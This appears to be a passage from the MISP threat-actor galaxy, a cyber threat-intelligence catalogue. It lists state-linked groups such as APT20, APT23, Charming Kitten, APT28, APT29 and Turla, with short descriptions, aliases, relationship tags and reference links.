SAMURAI PANDA

The tag is: *misp-galaxy:threat-actor="SAMURAI PANDA"*

SAMURAI PANDA is also known as:

- PLA Navy
- Wisp Team

View relationships graph

SAMURAI PANDA has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT18 - G0026" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT18" with estimative-language:likelihood-probability="likely"

Table 18142. Table References

Links
http://www.crowdstrike.com/blog/whois-samurai-panda/

IMPERSONATING PANDA

The tag is: *misp-galaxy:threat-actor="IMPERSONATING PANDA"*

APT20

We’ve uncovered some new data and likely attribution regarding a series of APT watering hole attacks this past summer. Watering hole attacks are an increasingly popular component of APT campaigns, as many people are more aware of spear phishing and are less likely to open documents or click on links in unsolicited emails. Watering hole attacks offer a much better chance of success because they involve compromising legitimate websites and installing malware intended to compromise website visitors. These are often popular websites frequented by people who work

in specific industries or have political sympathies to which the actors want to gain access. In contrast to many other APT campaigns, which tend to rely heavily on spear phishing to gain victims, “th3bug” is known for compromising legitimate websites their intended visitors are likely to frequent. Over the summer they compromised several sites, including a well-known Uyghur website written in that native language.

The tag is: *misp-galaxy:threat-actor="APT20"*

APT20 is also known as:

- VIOLIN PANDA
- TH3Bug
- Crawling Taurus

Table 18143. Table References

Links
http://researchcenter.paloaltonetworks.com/2014/09/recent-watering-hole-attacks-attributed-apt-group-th3bug-using-poison-ivy/
https://www.fox-it.com/nl/actueel/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/Aug.10.The_Italian_Connection_An_analysis_of_exploit_supply_chains_and_digital_quartermasters/HTExploitTelemetry.pdf
https://unit42.paloaltonetworks.com/atoms/crawling-taurus/
https://www.mandiant.com/resources/insights/apt-groups

TOXIC PANDA

A group targeting dissident groups in China and at the boundaries.

The tag is: *misp-galaxy:threat-actor="TOXIC PANDA"*

Table 18144. Table References

Links
https://docs.huihoo.com/rsaconference/usa-2014/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries-final.pdf

TEMPER PANDA

China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors. This threat actor targets prodemocratic activists and organizations in Hong Kong, European and international financial institutions, and a U.S.-based think tank.

The tag is: *misp-galaxy:threat-actor="TEMPER PANDA"*

TEMPER PANDA is also known as:

- Admin338
- Team338
- MAGNESIUM
- admin@338
- G0018

View relationships graph

TEMPER PANDA has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="admin@338 - G0018" with estimative-language:likelihood-probability="likely"

Table 18145. Table References

Links
https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html
https://www.cfr.org/interactive/cyber-operations/admin338
https://attack.mitre.org/groups/G0018/

APT23

TrendMicro described Tropic Trooper in a 2015 report as: 'Taiwan and the Philippines have become the targets of an ongoing campaign called Operation TropicTrooper. Active since 2012, the attackers behind the campaign haveset their sights on the Taiwanese government as well as a number of companies in the heavy industry. The same campaign has also targeted key Philippine military agencies.'

The tag is: *misp-galaxy:threat-actor="APT23"*

APT23 is also known as:

- PIRATE PANDA
- KeyBoy
- Tropic Trooper
- BRONZE HOBART
- G0081
- Red Orthrus
- Earth Centaur

Table 18146. Table References

Links
https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/
http://www.crowdstrike.com/blog/rhetoric-foreshadows-cyber-activity-in-the-south-china-sea/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
http://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/
https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/
https://blog.lookout.com/titan-mobile-threat
https://attack.mitre.org/groups/G0081/
https://www.secureworks.com/research/threat-profiles/bronze-hobart
https://www.mandiant.com/resources/insights/apt-groups
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html

Flying Kitten

Activity: defense and aerospace sectors, also interested in targeting entities in the oil/gas industry.

The tag is: *misp-galaxy:threat-actor="Flying Kitten"*

Flying Kitten is also known as:

- SaffronRose
- Saffron Rose
- AjaxSecurityTeam
- Ajax Security Team
- Group 26
- Sayad

View relationships graph

Flying Kitten has relationships with:

- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="very-likely"

- similar: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"

Table 18147. Table References

Links
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-operation-saffron-rose.pdf
https://www.crowdstrike.com/blog/cat-scratch-fever-crowdstrike-tracks-newly-reported-iranian-actor-flying-kitten/
https://www.cfr.org/interactive/cyber-operations/saffron-rose

Cutting Kitten

One of the threat actors responsible for the denial of service attacks against U.S in 2012–2013. Three individuals associated with the group—believed to be have been working on behalf of Iran's Islamic Revolutionary Guard Corps—were indicted by the Justice Department in 2016.

The tag is: *misp-galaxy:threat-actor="Cutting Kitten"*

Cutting Kitten is also known as:

- ITsecTeam

Table 18148. Table References

Links
https://www.cfr.org/interactive/cyber-operations/itsecteam
https://www.justice.gov/usao-sdny/file/835061/download

Charming Kitten

Charming Kitten (aka Parastoo, aka Newscaster) is an group with a suspected nexus to Iran that

targets organizations involved in government, defense technology, military, and diplomacy sectors.

The tag is: *misp-galaxy:threat-actor="Charming Kitten"*

Charming Kitten is also known as:

- Newscaster
- Parastoo
- iKittens
- Group 83
- NewsBeef
- G0058
- CharmingCypress
- Mint Sandstorm

View relationships graph

Charming Kitten has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Mint Sandstorm" with estimative-language:likelihood-probability="likely"

Table 18149. Table References

Links
https://en.wikipedia.org/wiki/Operation_Newscaster
https://iranthreats.github.io/resources/macdownloader-macos-malware/

https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2014/2014.05.28.NewsCaster_An_Iranian_Threat_Within_Social_Networks/file-2581720763-pdf.pdf
https://www.forbes.com/sites/thomasbrewster/2017/07/27/iran-hackers-oilrig-use-fake-personas-on-facebook-linkedin-for-cyberespionage/
https://cryptome.org/2012/11/parastoo-hacks-iaea.htm
https://securelist.com/files/2017/03/Report_Shamoon_StoneDrill_final.pdf
https://securelist.com/blog/software/74503/freezer-paper-around-free-meat/
https://www.verfassungsschutz.de/download/broschuere-2016-10-bfv-cyber-brief-2016-04.pdf
https://www.cfr.org/interactive/cyber-operations/newscaster
https://www.washingtontimes.com/news/2014/may/29/iranian-hackers-sucker-punch-us-defense-heads-crea/
https://securelist.com/freezer-paper-around-free-meat/74503/
https://www.scmagazine.com/home/security-news/cybercrime/hbo-breach-accomplished-with-hard-work-by-hacker-poor-security-practices-by-victim/
http://www.arabnews.com/node/1195681/media
https://cyware.com/news/iranian-apt-charming-kitten-impersonates-clearsky-the-security-firm-that-uncovered-its-campaigns-7fea0b4f
https://blog.certfa.com/posts/the-return-of-the-charming-kitten/
https://www.justice.gov/opa/pr/former-us-counterintelligence-agent-charged-espionage-behalf-iran-four-iranians-charged-cyber
https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/
https://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf
https://attack.mitre.org/groups/G0058/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.volexity.com/blog/2024/02/13/charmingcypress-innovating-persistence/

APT33

Our analysis reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013. We assess APT33 works at the behest of the Iranian government.

The tag is: *misp-galaxy:threat-actor="APT33"*

APT33 is also known as:

- APT 33
- Elfin
- MAGNALLIUM
- Refined Kitten

- HOLMIUM
- COBALT TRINITY
- G0064
- ATK35
- Peach Sandstorm
- TA451

View relationships graph

APT33 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT33 - G0064" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Peach Sandstorm" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-ics-groups="APT33" with estimative-language:likelihood-probability="almost-certain"

Table 18150. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://blog.trendmicro.com/trendlabs-security-intelligence/more-than-a-dozen-obfuscated-apt33-botnets-used-for-extreme-narrow-targeting/
https://www.brighttalk.com/webcast/10703/275683
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage
https://www.secureworks.com/research/threat-profiles/cobalt-trinity
https://attack.mitre.org/groups/G0064/
https://threatconnect.com/blog/research-roundup-activity-on-previously-identified-apt33-domains/
https://www.cfr.org/interactive/cyber-operations/apt-33
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf
https://dragos.com/adversaries.html
https://www.microsoft.com/en-us/security/blog/2023/09/14/peach-sandstorm-password-spray-campaigns-enable-intelligence-collection-at-high-value-targets/

Magic Kitten

Earliest activity back to November 2008. An established group of cyber attackers based in Iran, who carried on several campaigns in 2013, including a series of attacks targeting political dissidents and those supporting Iranian political opposition.

The tag is: *misp-galaxy:threat-actor="Magic Kitten"*

Magic Kitten is also known as:

- Group 42
- VOYEUR

Table 18151. Table References

Links
https://web.archive.org/web/20161020180305/http://www.scmagazineuk.com/iran-and-russia-blamed-for-state-sponsored-espionage/article/330401/
https://carnegieendowment.org/2018/01/04/iran-s-cyber-ecosystem-who-are-threat-actors-pub-75140

Rocket Kitten

Targets Saudi Arabia, Israel, US, Iran, high ranking defense officials, embassies of various target countries, notable Iran researchers, human rights activists, media and journalists, academic institutions and various scholars, including scientists in the fields of physics and nuclear sciences.

The tag is: *misp-galaxy:threat-actor="Rocket Kitten"*

Rocket Kitten is also known as:

- TEMP.Beanie
- Operation Woolen Goldfish
- Operation Woolen-Goldfish
- Thamar Reservoir
- Timberworm

View relationships graph

Rocket Kitten has relationships with:

- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="very-likely"
- similar: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"

Table 18152. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-woolen-goldfish-when-kittens-go-phishing
https://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-the-spy-kittens-are-back.pdf
http://www.clearskysec.com/thamar-reservoir/
https://citizenlab.ca/2015/08/iran_two_factor_phishing/
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5758557d-6e3a-4174-90f3-fa92a712ecd9&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/
https://en.wikipedia.org/wiki/Rocket_Kitten
https://www.cfr.org/interactive/cyber-operations/rocket-kitten

Cleaver

A group of cyber actors utilizing infrastructure located in Iran have been conducting computer network exploitation activity against public and private U.S. organizations, including Cleared Defense Contractors (CDCs), academic institutions, and energy sector companies. This threat actor targets entities in the government, energy, and technology sectors that are located in or do business with Saudi Arabia.

The tag is: *misp-galaxy:threat-actor="Cleaver"*

Cleaver is also known as:

- Operation Cleaver
- Op Cleaver
- Tarh Andishan
- Alibaba
- TG-2889
- Cobalt Gypsy

- G0003

View relationships graph

Cleaver has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Hazel Sandstorm" with estimative-language:likelihood-probability="likely"

Table 18153. Table References

Links
https://www.secureworks.com/research/the-curious-case-of-mia-ash
https://www.cfr.org/interactive/cyber-operations/operation-cleaver
http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/
https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-woolen-goldfish-when-kittens-go-phishing
https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations
https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-the-spy-kittens-are-back.pdf
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf
https://attack.mitre.org/groups/G0003/
https://xorl.wordpress.com/2021/05/06/iran-cyber-operations-groups/

https://www.secureworks.com/research/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles	
https://know.netenrich.com/threatintel/threat_actor/Cutting%20Kitten	
https://www.cfr.org/cyber-operations/operation-cleaver	
https://securityaffairs.co/wordpress/33682/cyber-crime/ali-baba-apt-middle-east.html	
https://scadahacker.com/library/Documents/Cyber_Events/Cylance%20-%20Operation%20Cleaver%20Report.pdf	

Sands Casino

The tag is: *misp-galaxy:threat-actor="Sands Casino"*

Rebel Jackal

This is a pro-Islamist organization that generally conducts attacks motivated by real world events in which its members believe that members of the Muslim faith were wronged. Its attacks generally involve website defacements; however, the group did develop a RAT that it refers to as Fallaga RAT, but which appears to simply be a fork of the njRAT malware popular amongst hackers in the Middle East/North Africa region.

The tag is: *misp-galaxy:threat-actor="Rebel Jackal"*

Rebel Jackal is also known as:

- FallagaTeam

Viking Jackal

The tag is: *misp-galaxy:threat-actor="Viking Jackal"*

Viking Jackal is also known as:

- Vikingdom

APT28

The Sofacy Group (also known as APT28, Pawn Storm, Fancy Bear and Sednit) is a cyber espionage group believed to have ties to the Russian government. Likely operating since 2007, the group is known to target government, military, and security organizations. It has been characterized as an advanced persistent threat.

The tag is: *misp-galaxy:threat-actor="APT28"*

APT28 is also known as:

- Pawn Storm

- FANCY BEAR
- Sednit
- SNAKEMACKEREL
- Tsar Team
- TG-4127
- STRONTIUM
- Swallowtail
- IRON TWILIGHT
- Group 74
- SIG40
- Grizzly Steppe
- G0007
- ATK5
- Fighting Ursa
- ITG05
- Blue Athena
- TA422
- T-APT-12
- APT-C-20
- UAC-0028
- UAC-0001
- FROZENLAKE
- Sofacy
- Forest Blizzard
- BlueDelta
- Fancy Bear
- GruesomeLarch

View relationships graph

APT28 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT28 - G0007" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="STRONTIUM" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Forest Blizzard" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:360net-threat-actor="□□□ - APT-C-20" with estimative-language:likelihood-probability="likely"

Table 18154. Table References

Links
https://attack.mitre.org/groups/G0007/
https://en.wikipedia.org/wiki/Fancy_Bear
https://en.wikipedia.org/wiki/Sofacy_Group
https://www.bbc.com/news/technology-37590375
https://www.bbc.co.uk/news/technology-45257081
https://www.cfr.org/interactive/cyber-operations/apt-28
https://www.apnews.com/4d174e45ef5843a0ba82e804f080988f
https://www.voanews.com/a/iaaf-hack-fancy-bears/3793874.html
https://securelist.com/a-slice-of-2017-sofacy-activity/83930/
https://www.dw.com/en/hackers-lurking-parliamentarians-told/a-19564630
https://unit42.paloaltonetworks.com/unit42-sofacys-komplex-os-x-trojan/
https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/
https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html
https://www2.fireeye.com/rs/848-DID-242/images/wp-mandiant-matryoshka-mining.pdf
https://www.eff.org/deeplinks/2015/08/new-spear-phishing-campaign-pretends-be-eff
https://aptnotes.malwareconfig.com/web/viewer.html?file=../APTnotes/2014/apt28.pdf
https://www.accenture.com/us-en/blogs/blogs-snakemackerel-delivers-zekapab-malware
https://www.wired.com/story/russian-fancy-bears-hackers-release-apparent-ioc-emails/
https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
https://unit42.paloaltonetworks.com/unit42-sofacy-attacks-multiple-government-entities/
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
https://www.msn.com/en-nz/news/world/russian-hackers-accused-of-targeting-un-chemical-weapons-watchdog-mh17-files/ar-BBNV2ny
https://unit42.paloaltonetworks.com/unit42-new-sofacy-attacks-against-us-government-agency/
https://unit42.paloaltonetworks.com/unit42-let-ride-sofacy-groups-dealerschoice-attacks-continue/
https://www.welivesecurity.com/2018/09/27/lojax-first-uefi-rootkit-found-wild-courtesy-sednit-group/
https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/

https://www.bleepingcomputer.com/news/security/apt28-uses-lojax-first-uefi-rootkit-seen-in-the-wild/

https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-targets-mh17-investigation-team/

https://researchcenter.paloaltonetworks.com/2016/06/unit42-new-sofacy-attacks-against-us-government-agency/

https://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-pawn-storm.pdf

https://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-flash-zero-day-used-in-pawn-storm-campaign/

https://blogs.microsoft.com/on-the-issues/2018/08/20/we-are-taking-new-steps-against-broadening-threats-to-democracy/

https://www.lse.co.uk/AllNews.asp?code=kwdwehme&headline=Russian_Hackers_Suspected_In_Cyberattack_On_German_Parliament

https://www.volkskrant.nl/cultuur-media/russen-faalden-bij-hackpogingen-ambtenaren-op-nederlandse-ministeries}b77ff391/

https://www.ibtimes.co.uk/russian-hackers-fancy-bear-likely-breached-olympic-drug-testing-agency-dnc-experts-say-1577508

https://www.bleepingcomputer.com/news/security/microsoft-disrupts-apt28-hacking-campaign-aimed-at-us-midterm-elections/

https://www.justice.gov/opa/pr/justice-department-announces-actions-disrupt-advanced-persistent-threat-28-botnet-infected

https://www.accenture.com/t20181129T203820Z*w*/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf

https://www.reuters.com/article/us-sweden-doping/swedish-sports-body-says-anti-doping-unit-hit-by-hacking-attack-idUSKCN1IG2GN

https://researchcenter.paloaltonetworks.com/2016/10/unit42-dealerschoice-sofacys-flash-player-exploit-platform/

https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/

https://www.washingtonpost.com/technology/2019/02/20/microsoft-says-it-has-found-another-russian-operation-targeting-prominent-think-tanks/?utm_term=.870ff11468ae

https://www.handelsblatt.com/today/politics/election-risks-russia-linked-hackers-target-german-political-foundations/23569188.html?ticket=ST-2696734-GRHgtQukDIEXeSOwksXO-ap1

https://www.accenture.com/t20190213T141124Z*w*/us-en/_acnmedia/PDF-94/Accenture-SNAKEMACKEREL-Threat-Campaign-Likely-Targeting-NATO-Members-Defense-and-Military-Outlets.pdf

https://marcoramilli.com/2019/12/05/apt28-attacks-evolution/

https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/
https://www.bleepingcomputer.com/news/security/russian-hackers-use-fake-nato-training-docs-to-breach-govt-networks/
https://quointelligence.eu/2020/09/apt28-zebrocy-malware-campaign-nato-theme/
https://unit42.paloaltonetworks.com/atoms/fighting-ursa/
https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag
https://blog.google/threat-analysis-group/fog-of-war-how-the-ukraine-conflict-transformed-the-cyber-threat-landscape/
https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Threat-Intelligence/Aktive_APT-Gruppen/aktive-apt-gruppen_node.html
https://bluepurple.binaryfirefly.com/p/bluepurple-pulse-week-ending-june-64e
https://www.volexity.com/blog/2024/11/22/the-nearest-neighbor-attack-how-a-russian-apt-weaponized-nearby-wi-fi-networks-for-covert-access/

APT29

A 2015 report by F-Secure describe APT29 as: 'The Dukes are a well-resourced, highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making. The Dukes show unusual confidence in their ability to continue successfully compromising their targets, as well as in their ability to operate with impunity. The Dukes primarily target Western governments and related organizations, such as government ministries and agencies, political think tanks, and governmental subcontractors. Their targets have also included the governments of members of the Commonwealth of Independent States;Asian, African, and Middle Eastern governments;organizations associated with Chechen extremism;and Russian speakers engaged in the illicit trade of controlled substances and drugs. The Dukes are known to employ a vast arsenal of malware toolsets, which we identify as MiniDuke, CosmicDuke, OnionDuke, CozyDuke, CloudDuke, SeaDuke, HammerDuke, PinchDuke, and GeminiDuke. In recent years, the Dukes have engaged in apparently biannual large - scale spear - phishing campaigns against hundreds or even thousands of recipients associated with governmental institutions and affiliated organizations. These campaigns utilize a smash - and - grab approach involving a fast but noisy breakin followed by the rapid collection and exfiltration of as much data as possible.If the compromised target is discovered to be of value, the Dukes will quickly switch the toolset used and move to using stealthier tactics focused on persistent compromise and long - term intelligence gathering. This threat actor targets government ministries and agencies in the West, Central Asia, East Africa, and the Middle East; Chechen extremist groups; Russian organized crime; and think tanks. It is suspected to be behind the 2015 compromise of unclassified networks at the White House, Department of State, Pentagon, and the Joint Chiefs of Staff. The threat actor includes all of the Dukes tool sets, including MiniDuke, CosmicDuke, OnionDuke, CozyDuke, SeaDuke, CloudDuke (aka MiniDionis), and HammerDuke (aka Hammertoss). '

The tag is: *misp-galaxy:threat-actor="APT29"*

APT29 is also known as:

- Group 100
- COZY BEAR
- The Dukes
- Minidionis
- SeaDuke
- YTTRIUM
- IRON HEMLOCK
- Grizzly Steppe
- G0016
- ATK7
- Cloaked Ursa
- TA421
- Blue Kitsune
- ITG11
- BlueBravo
- Nobelium
- UAC-0029

View relationships graph

APT29 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT29 - G0016" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="SNOWYAMBER" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="HALFRIG" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="QUARTERRIG" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Midnight Blizzard" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="UNC2452" with estimative-language:likelihood-probability="likely"

Table 18155. Table References

Links
https://labsblog.f-secure.com/2015/09/17/the-dukes-7-years-of-russian-cyber-espionage/

https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf
https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf
https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
https://www.cfr.org/interactive/cyber-operations/dukes
https://pylos.co/2018/11/18/cozybear-in-from-the-cold/
https://cloudblogs.microsoft.com/microsoftsecure/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/
https://www.secureworks.com/research/threat-profiles/iron-hemlock
https://attack.mitre.org/groups/G0016
https://unit42.paloaltonetworks.com/atoms/cloaked-ursa/
https://go.recordedfuture.com/hubfs/reports/cta-2023-0127.pdf
https://cip.gov.ua/services/cm/api/attachment/download?id=60068

Turla

A 2014 Guardian article described Turla as: 'Dubbed the Turla hackers, initial intelligence had indicated western powers were key targets, but it was later determined embassies for Eastern Bloc nations were of more interest. Embassies in Belgium, Ukraine, China, Jordan, Greece, Kazakhstan, Armenia, Poland, and Germany were all attacked, though researchers from Kaspersky Lab and Symantec could not confirm which countries were the true targets. In one case from May 2012, the office of the prime minister of a former Soviet Union member country was infected, leading to 60 further computers being affected, Symantec researchers said. There were some other victims, including the ministry for health of a Western European country, the ministry for education of a Central American country, a state electricity provider in the Middle East and a medical organisation in the US, according to Symantec. It is believed the group was also responsible for a much - documented 2008 attack on the US Central Command. The attackers - who continue to operate - have ostensibly sought to carry out surveillance on targets and pilfer data, though their use of encryption across their networks has made it difficult to ascertain exactly what the hackers took.Kaspersky Lab, however, picked up a number of the attackers searches through their victims emails, which included terms such as Nato and EU energy dialogue Though attribution is difficult to substantiate, Russia has previously been suspected of carrying out the attacks and Symantecs Gavin O' Gorman told the Guardian a number of the hackers appeared to be using Russian names and language in their notes for their malicious code. Cyrillic was also seen in use.'

The tag is: *misp-galaxy:threat-actor="Turla"*

Turla is also known as:

- Snake
- VENOMOUS Bear
- Group 88
- Waterbug

- WRAITH
- Uroburos
- Pfinet
- TAG_0530
- KRYPTON
- Hippo Team
- Pacifier APT
- Popeye
- SIG23
- IRON HUNTER
- MAKERSMARK
- ATK13
- G0010
- ITG12
- Blue Python
- SUMMIT
- UNC4210
- Secret Blizzard
- UAC-0144
- UAC-0024
- UAC-0003

View relationships graph

Turla has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Turla - G0010" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT26" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Secret Blizzard" with estimative-language:likelihood-probability="likely"

Table 18156. Table References

Links
https://www.circl.lu/pub/tr-25/
https://securelist.com/introducing-whitebear/81638/
https://securelist.com/the-epic-turla-operation/65545/

https://www.cfr.org/interactive/cyber-operations/turla
https://www.nytimes.com/2010/08/26/technology/26cyber.html
https://securelist.com/blog/research/67962/the-penquin-turla-2/
https://www.kaspersky.com/blog/moonlight-maze-the-lessons/6713/
https://www2.fireeye.com/rs/848-DID-242/images/rpt-witchcoven.pdf
https://securelist.com/analysis/publications/65545/the-epic-turla-operation/
https://threatpost.com/linux-modules-connected-to-turla-apt-discovered/109765/
https://securelist.com/satellite-turla-apt-command-and-control-in-the-sky/72081/
https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/
https://www.first.org/resources/papers/tbilisi2014/turla-operations_and_development.pdf
https://yle.fi/uutiset/osasto/news/russian_group_behind_2013_foreign_ministry_hack/8591548
https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/
https://securelist.com/blog/research/72081/satellite-turla-apt-command-and-control-in-the-sky/
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/
https://docs.broadcom.com/doc/waterbug-attack-group
https://www.theguardian.com/technology/2014/aug/07/turla-hackers-spying-governments-researcher-kaspersky-symantec
https://www.bleepingcomputer.com/news/security/turla-outlook-backdoor-uses-clever-tactics-for-stealth-and-persistence/
